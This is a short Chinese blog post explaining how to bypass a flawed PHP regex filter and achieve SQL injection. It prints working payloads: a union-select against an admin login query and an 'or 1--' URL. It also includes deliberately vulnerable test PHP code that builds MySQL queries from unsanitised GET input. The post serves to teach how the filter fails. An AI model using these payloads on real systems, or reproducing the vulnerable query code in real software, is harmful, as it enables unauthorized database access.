前言
打开论坛发现有表哥在讨论一个问题,如下代码存在注入吗?
select * from admin where (guanliyuan='{$guanliyuan}' and mima='{$pwd}')
过滤方法:
preg_replace("/[^a-z][^0-9]/","",$str);
翻了一下留言很多表哥和我的最开始想法一样就是'
等特殊字符都被过滤了不存在注入,没戏。
翻到最后看到有一个大佬发了一个payload:
'0a 0aunion 0aselect 0auser0a(0a)0a)0a#
成功绕过了正则匹配,最终结果如下:
select * from admin where (guanliyuan='' union select user())#' and mima='')
顿时精神了,起来研究。
正则匹配绕过
一开始怎么也没想懂和大佬交流发现主要还是自已对正则的理解太不到家了。。
preg_replace("/[^a-z][^0-9]/","",$str);
首先该正则表达式的意思为每次匹配两个字符,第一个不是字符第二个不是数字那就会被替换掉(我一开始就陷入思维的死胡同中,就是我认为该正则表达式是把所有非字符数字替换为空,丢脸丢到姥姥家了。。。。)
理解这些剩下就简单了,只需在我们sql注入需要使用的特别字符的前后添加符合条件的第一个不是字符第二个不是数字
的字符即可绕过限制。
简单的sql注入测试代码:
<?php
$con = @mysql_connect("localhost","root","xxx");
if (!$con)
{
die('Could not connect: ' . mysql_error());
}
mysql_select_db("dvwa", $con);
$user = preg_replace("/[^a-z][^0-9]/","",$_GET["user"]);
echo $user;
$result = mysql_query("SELECT user,password FROM users where user = '$user'",$con);
var_dump(mysql_fetch_array($result));
mysql_close($con);
?>
payload:
http://127.0.0.1/test.php?user='0a 0aor0a 0a 10a 0a-0a-0a+0a